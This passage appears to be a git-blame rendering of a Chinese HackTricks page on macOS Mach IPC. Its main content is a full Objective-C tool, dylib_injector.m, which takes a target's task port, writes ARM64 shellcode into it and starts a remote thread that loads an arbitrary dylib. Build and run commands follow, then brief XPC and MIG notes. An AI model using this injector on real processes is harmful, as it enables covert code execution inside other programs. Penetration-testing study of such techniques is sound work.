|
|
|
|
NSData *data = [file readDataToEndOfFile];
|
|
|
|
|
NSString *string = [[NSString alloc] initWithData:data encoding:NSUTF8StringEncoding];
|
|
|
|
|
|
|
|
|
|
return (pid_t)[string integerValue];
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
BOOL isStringNumeric(NSString *str) {
|
|
|
|
|
NSCharacterSet* nonNumbers = [[NSCharacterSet decimalDigitCharacterSet] invertedSet];
|
|
|
|
|
NSRange r = [str rangeOfCharacterFromSet: nonNumbers];
|
|
|
|
|
return r.location == NSNotFound;
|
|
|
|
|
}
|
|
|
|
|
|
2023-05-18 12:13:32 +00:00
|
|
|
|
int main(int argc, const char * argv[]) {
|
2023-08-03 19:12:22 +00:00
|
|
|
|
@autoreleasepool {
|
|
|
|
|
if (argc < 2) {
|
2023-09-19 23:05:42 +00:00
|
|
|
|
NSLog(@"Usage: %s <pid or process name>", argv[0]);
|
2023-08-03 19:12:22 +00:00
|
|
|
|
return 1;
|
|
|
|
|
}
|
2023-05-18 12:13:32 +00:00
|
|
|
|
|
2023-09-19 23:05:42 +00:00
|
|
|
|
NSString *arg = [NSString stringWithUTF8String:argv[1]];
|
|
|
|
|
pid_t pid;
|
|
|
|
|
|
|
|
|
|
if (isStringNumeric(arg)) {
|
|
|
|
|
pid = [arg intValue];
|
|
|
|
|
} else {
|
|
|
|
|
pid = pidForProcessName(arg);
|
|
|
|
|
if (pid == 0) {
|
|
|
|
|
NSLog(@"Error: Process named '%@' not found.", arg);
|
|
|
|
|
return 1;
|
|
|
|
|
}
|
|
|
|
|
else{
|
|
|
|
|
printf("Found PID of process '%s': %d\n", [arg UTF8String], pid);
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
inject(pid);
|
|
|
|
|
}
|
2023-05-18 12:13:32 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
return 0;
|
2023-05-18 12:13:32 +00:00
|
|
|
|
}
|
|
|
|
|
```
|
|
|
|
|
</details>
|
|
|
|
|
```bash
|
|
|
|
|
gcc -framework Foundation -framework Appkit sc_inject.m -o sc_inject
|
2023-09-19 23:05:42 +00:00
|
|
|
|
./inject <pi or string>
|
2023-05-18 12:13:32 +00:00
|
|
|
|
```
|
2023-09-19 23:05:42 +00:00
|
|
|
|
### 通过任务端口在线程中进行Dylib注入
|
2023-05-18 12:13:32 +00:00
|
|
|
|
|
2023-09-19 23:05:42 +00:00
|
|
|
|
在 macOS 中,线程可以通过 Mach 或使用 posix `pthread` api 进行操作。我们在前面的注入中生成的线程是使用 Mach api 生成的,因此它不符合 posix 标准。
|
2023-05-18 12:13:32 +00:00
|
|
|
|
|
2023-09-19 23:05:42 +00:00
|
|
|
|
之前我们能够注入一个简单的 shellcode 来执行命令,是因为它不需要使用符合 posix 标准的 api,只需要使用 Mach。而更复杂的注入需要线程也符合 posix 标准。
|
2023-05-18 12:13:32 +00:00
|
|
|
|
|
2023-09-19 23:05:42 +00:00
|
|
|
|
因此,为了改进线程,应该调用 `pthread_create_from_mach_thread` 来创建一个有效的 pthread。然后,这个新的 pthread 可以调用 dlopen 来从系统中加载一个 dylib,这样就不需要编写新的 shellcode 来执行不同的操作,而是可以加载自定义库。
|
2023-05-18 12:13:32 +00:00
|
|
|
|
|
2023-09-19 23:05:42 +00:00
|
|
|
|
你可以在(例如生成日志并监听它的示例 dylibs)中找到示例 dylibs:
|
2023-05-18 12:13:32 +00:00
|
|
|
|
|
2023-06-01 21:09:46 +00:00
|
|
|
|
{% content-ref url="../../macos-dyld-hijacking-and-dyld_insert_libraries.md" %}
|
|
|
|
|
[macos-dyld-hijacking-and-dyld\_insert\_libraries.md](../../macos-dyld-hijacking-and-dyld\_insert\_libraries.md)
|
2023-05-18 12:13:32 +00:00
|
|
|
|
{% endcontent-ref %}
|
|
|
|
|
|
|
|
|
|
<details>
|
|
|
|
|
|
|
|
|
|
<summary>dylib_injector.m</summary>
|
|
|
|
|
```objectivec
|
|
|
|
|
// gcc -framework Foundation -framework Appkit dylib_injector.m -o dylib_injector
|
|
|
|
|
// Based on http://newosxbook.com/src.jl?tree=listings&file=inject.c
|
|
|
|
|
#include <dlfcn.h>
|
|
|
|
|
#include <stdio.h>
|
|
|
|
|
#include <unistd.h>
|
|
|
|
|
#include <sys/types.h>
|
|
|
|
|
#include <mach/mach.h>
|
|
|
|
|
#include <mach/error.h>
|
|
|
|
|
#include <errno.h>
|
|
|
|
|
#include <stdlib.h>
|
|
|
|
|
#include <sys/sysctl.h>
|
|
|
|
|
#include <sys/mman.h>
|
|
|
|
|
|
|
|
|
|
#include <sys/stat.h>
|
|
|
|
|
#include <pthread.h>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
#ifdef __arm64__
|
|
|
|
|
//#include "mach/arm/thread_status.h"
|
|
|
|
|
|
|
|
|
|
// Apple says: mach/mach_vm.h:1:2: error: mach_vm.h unsupported
|
|
|
|
|
// And I say, bullshit.
|
|
|
|
|
kern_return_t mach_vm_allocate
|
|
|
|
|
(
|
2023-08-03 19:12:22 +00:00
|
|
|
|
vm_map_t target,
|
|
|
|
|
mach_vm_address_t *address,
|
|
|
|
|
mach_vm_size_t size,
|
|
|
|
|
int flags
|
2023-05-18 12:13:32 +00:00
|
|
|
|
);
|
|
|
|
|
|
|
|
|
|
kern_return_t mach_vm_write
|
|
|
|
|
(
|
2023-08-03 19:12:22 +00:00
|
|
|
|
vm_map_t target_task,
|
|
|
|
|
mach_vm_address_t address,
|
|
|
|
|
vm_offset_t data,
|
|
|
|
|
mach_msg_type_number_t dataCnt
|
2023-05-18 12:13:32 +00:00
|
|
|
|
);
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
#else
|
|
|
|
|
#include <mach/mach_vm.h>
|
|
|
|
|
#endif
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
#define STACK_SIZE 65536
|
|
|
|
|
#define CODE_SIZE 128
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
char injectedCode[] =
|
|
|
|
|
|
2023-09-19 23:05:42 +00:00
|
|
|
|
// "\x00\x00\x20\xd4" // BRK X0 ; // useful if you need a break :)
|
2023-08-03 19:12:22 +00:00
|
|
|
|
|
|
|
|
|
// Call pthread_set_self
|
|
|
|
|
|
|
|
|
|
"\xff\x83\x00\xd1" // SUB SP, SP, #0x20 ; Allocate 32 bytes of space on the stack for local variables
|
|
|
|
|
"\xFD\x7B\x01\xA9" // STP X29, X30, [SP, #0x10] ; Save frame pointer and link register on the stack
|
|
|
|
|
"\xFD\x43\x00\x91" // ADD X29, SP, #0x10 ; Set frame pointer to current stack pointer
|
|
|
|
|
"\xff\x43\x00\xd1" // SUB SP, SP, #0x10 ; Space for the
|
|
|
|
|
"\xE0\x03\x00\x91" // MOV X0, SP ; (arg0)Store in the stack the thread struct
|
|
|
|
|
"\x01\x00\x80\xd2" // MOVZ X1, 0 ; X1 (arg1) = 0;
|
|
|
|
|
"\xA2\x00\x00\x10" // ADR X2, 0x14 ; (arg2)12bytes from here, Address where the new thread should start
|
|
|
|
|
"\x03\x00\x80\xd2" // MOVZ X3, 0 ; X3 (arg3) = 0;
|
|
|
|
|
"\x68\x01\x00\x58" // LDR X8, #44 ; load address of PTHRDCRT (pthread_create_from_mach_thread)
|
|
|
|
|
"\x00\x01\x3f\xd6" // BLR X8 ; call pthread_create_from_mach_thread
|
|
|
|
|
"\x00\x00\x00\x14" // loop: b loop ; loop forever
|
|
|
|
|
|
|
|
|
|
// Call dlopen with the path to the library
|
|
|
|
|
"\xC0\x01\x00\x10" // ADR X0, #56 ; X0 => "LIBLIBLIB...";
|
|
|
|
|
"\x68\x01\x00\x58" // LDR X8, #44 ; load DLOPEN
|
|
|
|
|
"\x01\x00\x80\xd2" // MOVZ X1, 0 ; X1 = 0;
|
|
|
|
|
"\x29\x01\x00\x91" // ADD x9, x9, 0 - I left this as a nop
|
|
|
|
|
"\x00\x01\x3f\xd6" // BLR X8 ; do dlopen()
|
|
|
|
|
|
|
|
|
|
// Call pthread_exit
|
|
|
|
|
"\xA8\x00\x00\x58" // LDR X8, #20 ; load PTHREADEXT
|
|
|
|
|
"\x00\x00\x80\xd2" // MOVZ X0, 0 ; X1 = 0;
|
|
|
|
|
"\x00\x01\x3f\xd6" // BLR X8 ; do pthread_exit
|
|
|
|
|
|
|
|
|
|
"PTHRDCRT" // <-
|
|
|
|
|
"PTHRDEXT" // <-
|
|
|
|
|
"DLOPEN__" // <-
|
|
|
|
|
"LIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIB"
|
|
|
|
|
"\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00"
|
|
|
|
|
"\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00"
|
|
|
|
|
"\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00"
|
|
|
|
|
"\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00"
|
|
|
|
|
"\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" ;
|
2023-05-18 12:13:32 +00:00
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
int inject(pid_t pid, const char *lib) {
|
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
task_t remoteTask;
|
|
|
|
|
struct stat buf;
|
2023-05-18 12:13:32 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
// Check if the library exists
|
|
|
|
|
int rc = stat (lib, &buf);
|
2023-05-18 12:13:32 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
if (rc != 0)
|
|
|
|
|
{
|
|
|
|
|
fprintf (stderr, "Unable to open library file %s (%s) - Cannot inject\n", lib,strerror (errno));
|
|
|
|
|
//return (-9);
|
|
|
|
|
}
|
2023-05-18 12:13:32 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
// Get access to the task port of the process we want to inject into
|
|
|
|
|
kern_return_t kr = task_for_pid(mach_task_self(), pid, &remoteTask);
|
|
|
|
|
if (kr != KERN_SUCCESS) {
|
|
|
|
|
fprintf (stderr, "Unable to call task_for_pid on pid %d: %d. Cannot continue!\n",pid, kr);
|
|
|
|
|
return (-1);
|
|
|
|
|
}
|
|
|
|
|
else{
|
|
|
|
|
printf("Gathered privileges over the task port of process: %d\n", pid);
|
|
|
|
|
}
|
2023-05-18 12:13:32 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
// Allocate memory for the stack
|
|
|
|
|
mach_vm_address_t remoteStack64 = (vm_address_t) NULL;
|
|
|
|
|
mach_vm_address_t remoteCode64 = (vm_address_t) NULL;
|
|
|
|
|
kr = mach_vm_allocate(remoteTask, &remoteStack64, STACK_SIZE, VM_FLAGS_ANYWHERE);
|
2023-05-18 12:13:32 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
if (kr != KERN_SUCCESS)
|
|
|
|
|
{
|
|
|
|
|
fprintf(stderr,"Unable to allocate memory for remote stack in thread: Error %s\n", mach_error_string(kr));
|
|
|
|
|
return (-2);
|
|
|
|
|
}
|
|
|
|
|
else
|
|
|
|
|
{
|
|
|
|
|
|
|
|
|
|
fprintf (stderr, "Allocated remote stack @0x%llx\n", remoteStack64);
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
// Allocate memory for the code
|
|
|
|
|
remoteCode64 = (vm_address_t) NULL;
|
|
|
|
|
kr = mach_vm_allocate( remoteTask, &remoteCode64, CODE_SIZE, VM_FLAGS_ANYWHERE );
|
2023-05-18 12:13:32 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
if (kr != KERN_SUCCESS)
|
|
|
|
|
{
|
|
|
|
|
fprintf(stderr,"Unable to allocate memory for remote code in thread: Error %s\n", mach_error_string(kr));
|
|
|
|
|
return (-2);
|
|
|
|
|
}
|
2023-05-18 12:13:32 +00:00
|
|
|
|
|
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
// Patch shellcode
|
2023-05-18 12:13:32 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
int i = 0;
|
|
|
|
|
char *possiblePatchLocation = (injectedCode );
|
|
|
|
|
for (i = 0 ; i < 0x100; i++)
|
|
|
|
|
{
|
2023-05-18 12:13:32 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
// Patching is crude, but works.
|
|
|
|
|
//
|
|
|
|
|
extern void *_pthread_set_self;
|
|
|
|
|
possiblePatchLocation++;
|
2023-05-18 12:13:32 +00:00
|
|
|
|
|
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
uint64_t addrOfPthreadCreate = dlsym ( RTLD_DEFAULT, "pthread_create_from_mach_thread"); //(uint64_t) pthread_create_from_mach_thread;
|
|
|
|
|
uint64_t addrOfPthreadExit = dlsym (RTLD_DEFAULT, "pthread_exit"); //(uint64_t) pthread_exit;
|
|
|
|
|
uint64_t addrOfDlopen = (uint64_t) dlopen;
|
2023-05-18 12:13:32 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
if (memcmp (possiblePatchLocation, "PTHRDEXT", 8) == 0)
|
|
|
|
|
{
|
|
|
|
|
memcpy(possiblePatchLocation, &addrOfPthreadExit,8);
|
|
|
|
|
printf ("Pthread exit @%llx, %llx\n", addrOfPthreadExit, pthread_exit);
|
|
|
|
|
}
|
|
|
|
|
```c
|
|
|
|
|
if (memcmp(possiblePatchLocation, "PTHRDCRT", 8) == 0)
|
|
|
|
|
{
|
|
|
|
|
memcpy(possiblePatchLocation, &addrOfPthreadCreate, 8);
|
|
|
|
|
printf("从 mach 线程创建 Pthread @%llx\n", addrOfPthreadCreate);
|
|
|
|
|
}
|
2023-05-18 12:13:32 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
if (memcmp(possiblePatchLocation, "DLOPEN__", 6) == 0)
|
|
|
|
|
{
|
|
|
|
|
printf("DLOpen @%llx\n", addrOfDlopen);
|
|
|
|
|
memcpy(possiblePatchLocation, &addrOfDlopen, sizeof(uint64_t));
|
|
|
|
|
}
|
2023-05-18 12:13:32 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
if (memcmp(possiblePatchLocation, "LIBLIBLIB", 9) == 0)
|
|
|
|
|
{
|
|
|
|
|
strcpy(possiblePatchLocation, lib);
|
|
|
|
|
}
|
|
|
|
|
}
|
2023-05-18 12:13:32 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
// 将 shellcode 写入分配的内存
|
|
|
|
|
kr = mach_vm_write(remoteTask, // 任务端口
|
|
|
|
|
remoteCode64, // 虚拟地址(目标)
|
|
|
|
|
(vm_address_t) injectedCode, // 源
|
|
|
|
|
0xa9); // 源的长度
|
2023-05-18 12:13:32 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
if (kr != KERN_SUCCESS)
|
|
|
|
|
{
|
|
|
|
|
fprintf(stderr, "无法写入远程线程内存:错误 %s\n", mach_error_string(kr));
|
|
|
|
|
return (-3);
|
|
|
|
|
}
|
2023-05-18 12:13:32 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
// 设置分配的代码内存的权限
|
|
|
|
|
kr = vm_protect(remoteTask, remoteCode64, 0x70, FALSE, VM_PROT_READ | VM_PROT_EXECUTE);
|
2023-05-18 12:13:32 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
if (kr != KERN_SUCCESS)
|
|
|
|
|
{
|
|
|
|
|
fprintf(stderr, "无法设置远程线程代码的内存权限:错误 %s\n", mach_error_string(kr));
|
|
|
|
|
return (-4);
|
|
|
|
|
}
|
2023-05-18 12:13:32 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
// 设置分配的堆栈内存的权限
|
|
|
|
|
kr = vm_protect(remoteTask, remoteStack64, STACK_SIZE, TRUE, VM_PROT_READ | VM_PROT_WRITE);
|
2023-05-18 12:13:32 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
if (kr != KERN_SUCCESS)
|
|
|
|
|
{
|
|
|
|
|
fprintf(stderr, "无法设置远程线程堆栈的内存权限:错误 %s\n", mach_error_string(kr));
|
|
|
|
|
return (-4);
|
|
|
|
|
}
|
2023-05-18 12:13:32 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
// 创建线程来运行 shellcode
|
|
|
|
|
struct arm_unified_thread_state remoteThreadState64;
|
|
|
|
|
thread_act_t remoteThread;
|
2023-05-18 12:13:32 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
memset(&remoteThreadState64, '\0', sizeof(remoteThreadState64));
|
2023-05-18 12:13:32 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
remoteStack64 += (STACK_SIZE / 2); // 这是真正的堆栈
|
|
|
|
|
//remoteStack64 -= 8; // 需要 16 字节对齐
|
2023-05-18 12:13:32 +00:00
|
|
|
|
|
2023-10-05 15:48:49 +00:00
|
|
|
|
const char* p = (const char*) remoteCode64;
|
2023-05-18 12:13:32 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
remoteThreadState64.ash.flavor = ARM_THREAD_STATE64;
|
|
|
|
|
remoteThreadState64.ash.count = ARM_THREAD_STATE64_COUNT;
|
2023-10-05 15:48:49 +00:00
|
|
|
|
remoteThreadState64.ts_64.__pc = (u_int64_t) remoteCode64;
|
|
|
|
|
remoteThreadState64.ts_64.__sp = (u_int64_t) remoteStack64;
|
2023-05-18 12:13:32 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
printf("远程堆栈 64 0x%llx,远程代码为 %p\n", remoteStack64, p);
|
2023-05-18 12:13:32 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
kr = thread_create_running(remoteTask, ARM_THREAD_STATE64, // ARM_THREAD_STATE64,
|
2023-10-05 15:48:49 +00:00
|
|
|
|
(thread_state_t) &remoteThreadState64.ts_64, ARM_THREAD_STATE64_COUNT, &remoteThread);
|
2023-05-18 12:13:32 +00:00
|
|
|
|
|
2023-10-05 15:48:49 +00:00
|
|
|
|
if (kr != KERN_SUCCESS) {
|
2023-08-03 19:12:22 +00:00
|
|
|
|
fprintf(stderr, "无法创建远程线程:错误 %s", mach_error_string(kr));
|
|
|
|
|
return (-3);
|
2023-05-18 12:13:32 +00:00
|
|
|
|
}
|
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
return (0);
|
|
|
|
|
}
|
2023-05-18 12:13:32 +00:00
|
|
|
|
|
2023-10-05 15:48:49 +00:00
|
|
|
|
int main(int argc, const char * argv[])
|
2023-05-18 12:13:32 +00:00
|
|
|
|
{
|
2023-08-03 19:12:22 +00:00
|
|
|
|
if (argc < 3)
|
|
|
|
|
{
|
|
|
|
|
fprintf(stderr, "用法:%s _pid_ _action_\n", argv[0]);
|
2023-10-05 22:30:31 +00:00
|
|
|
|
fprintf(stderr, " _action_:磁盘上 dylib 的路径\n");
|
2023-08-03 19:12:22 +00:00
|
|
|
|
exit(0);
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
pid_t pid = atoi(argv[1]);
|
|
|
|
|
const char *action = argv[2];
|
|
|
|
|
struct stat buf;
|
2023-05-18 12:13:32 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
int rc = stat(action, &buf);
|
2023-10-05 15:48:49 +00:00
|
|
|
|
if (rc == 0) inject(pid, action);
|
2023-08-03 19:12:22 +00:00
|
|
|
|
else
|
|
|
|
|
{
|
|
|
|
|
fprintf(stderr, "找不到 dylib\n");
|
|
|
|
|
}
|
2023-10-05 22:30:31 +00:00
|
|
|
|
|
2023-05-18 12:13:32 +00:00
|
|
|
|
}
|
|
|
|
|
```
|
|
|
|
|
</details>
|
|
|
|
|
```bash
|
|
|
|
|
gcc -framework Foundation -framework Appkit dylib_injector.m -o dylib_injector
|
|
|
|
|
./inject <pid-of-mysleep> </path/to/lib.dylib>
|
|
|
|
|
```
|
2023-09-19 23:05:42 +00:00
|
|
|
|
### 通过任务端口进行线程劫持 <a href="#step-1-thread-hijacking" id="step-1-thread-hijacking"></a>
|
|
|
|
|
|
|
|
|
|
在这种技术中,进程的一个线程被劫持:
|
2023-06-26 14:40:53 +00:00
|
|
|
|
|
|
|
|
|
{% content-ref url="../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-thread-injection-via-task-port.md" %}
|
|
|
|
|
[macos-thread-injection-via-task-port.md](../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-thread-injection-via-task-port.md)
|
|
|
|
|
{% endcontent-ref %}
|
|
|
|
|
|
2023-05-19 13:45:28 +00:00
|
|
|
|
## XPC
|
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
### 基本信息
|
2023-05-19 13:45:28 +00:00
|
|
|
|
|
2023-10-05 22:30:31 +00:00
|
|
|
|
XPC代表XNU(macOS使用的内核)进程间通信,是macOS和iOS上进程之间通信的框架。XPC提供了一种机制,用于在系统上不同进程之间进行安全的异步方法调用。它是苹果安全范例的一部分,允许创建权限分离的应用程序,其中每个组件仅以执行其工作所需的权限运行,从而限制了受损进程可能造成的潜在损害。
|
2023-05-19 13:45:28 +00:00
|
|
|
|
|
2023-10-05 22:30:31 +00:00
|
|
|
|
有关此通信工作方式以及可能存在的漏洞的更多信息,请参考:
|
2023-05-19 13:45:28 +00:00
|
|
|
|
|
2023-10-05 22:30:31 +00:00
|
|
|
|
{% content-ref url="../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/" %}
|
|
|
|
|
[macos-xpc](../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/)
|
2023-05-23 12:53:12 +00:00
|
|
|
|
{% endcontent-ref %}
|
2023-05-22 19:31:06 +00:00
|
|
|
|
|
2023-10-05 15:48:49 +00:00
|
|
|
|
## MIG - Mach接口生成器
|
|
|
|
|
|
2023-10-05 22:30:31 +00:00
|
|
|
|
MIG被创建用于简化Mach IPC代码的生成过程。它基本上为服务器和客户端生成所需的通信代码。即使生成的代码很丑陋,开发人员只需要导入它,他的代码将比以前简单得多。
|
2023-10-05 15:48:49 +00:00
|
|
|
|
|
2023-10-05 22:30:31 +00:00
|
|
|
|
有关更多信息,请查看:
|
2023-10-05 15:48:49 +00:00
|
|
|
|
|
2023-10-05 22:30:31 +00:00
|
|
|
|
{% content-ref url="../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-mig-mach-interface-generator.md" %}
|
|
|
|
|
[macos-mig-mach-interface-generator.md](../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-mig-mach-interface-generator.md)
|
|
|
|
|
{% endcontent-ref %}
|
2023-10-05 15:48:49 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
## 参考资料
|
2023-05-16 16:54:39 +00:00
|
|
|
|
|
|
|
|
|
* [https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html](https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html)
|
2023-06-26 13:00:58 +00:00
|
|
|
|
* [https://knight.sc/malware/2019/03/15/code-injection-on-macos.html](https://knight.sc/malware/2019/03/15/code-injection-on-macos.html)
|
|
|
|
|
* [https://gist.github.com/knightsc/45edfc4903a9d2fa9f5905f60b02ce5a](https://gist.github.com/knightsc/45edfc4903a9d2fa9f5905f60b02ce5a)
|
2023-05-16 16:54:39 +00:00
|
|
|
|
|
|
|
|
|
<details>
|
|
|
|
|
|
2023-10-05 22:30:31 +00:00
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
2023-05-16 16:54:39 +00:00
|
|
|
|
|
2023-10-05 22:30:31 +00:00
|
|
|
|
* 你在一家网络安全公司工作吗?想要在HackTricks中宣传你的公司吗?或者想要获取PEASS的最新版本或下载PDF格式的HackTricks吗?请查看[订阅计划](https://github.com/sponsors/carlospolop)!
|
|
|
|
|
* 发现我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品[The PEASS Family](https://opensea.io/collection/the-peass-family)
|
|
|
|
|
* 获取[官方PEASS和HackTricks周边产品](https://peass.creator-spring.com)
|
|
|
|
|
* 加入[💬](https://emojipedia.org/speech-balloon/) [Discord群](https://discord.gg/hRep4RUj7f)或[电报群](https://t.me/peass),或在Twitter上关注我[🐦](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[@carlospolopm](https://twitter.com/hacktricks\_live)。
|
|
|
|
|
* 通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧。
|
2023-05-16 16:54:39 +00:00
|
|
|
|
|
|
|
|
|
</details>
|